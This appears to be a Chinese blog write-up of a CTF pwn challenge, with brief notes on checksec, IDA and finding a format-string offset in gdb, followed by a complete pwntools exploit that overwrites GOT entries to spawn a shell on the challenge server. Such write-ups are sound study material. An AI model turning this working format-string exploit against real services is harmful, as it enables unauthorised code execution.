共计 904 个字符,预计需要花费 3 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-30 14:56,文中所关联的信息可能已发生改变,请知悉!
checksec
IDA
偏移计算
使用 gdb 调试,先对 system
函数下断点,然后如下图输入:
由于 snprintf
并没有将 buf
中的内容打印到标准输出,而是在 other_buf
中,所以我们需要在 gdb 中查看内存情况:
使用 x/5s 0x4040a0
命令,0x4040a0
为 other_buf
的地址
得到偏移为 6
EXP
from pwn import *
p = remote('node4.buuoj.cn', 28695)
elf = ELF('./fm')
# context.log_level = 'debug'
context.arch = 'amd64'
fmt1 = fmtstr_payload(6, {elf.got['system']: elf.sym['main']}, write_size='long')
p.sendlineafter('Choice: ', '2')
p.sendlineafter('Good job. I\'ll give you a gift.', fmt1)
fmt2 = b'/bin/sh;'
fmt2 += fmtstr_payload(7, {elf.got['snprintf']: 0x401056-8}, write_size='long')
p.sendlineafter('Choice: ','2')
p.sendlineafter('Good job. I\'ll give you a gift.', fmt2)
p.sendlineafter('Choice: ', '2')
p.sendlineafter('Good job. I\'ll give you a gift.', 'aaaaaaaa')
p.interactive()
结果
正文完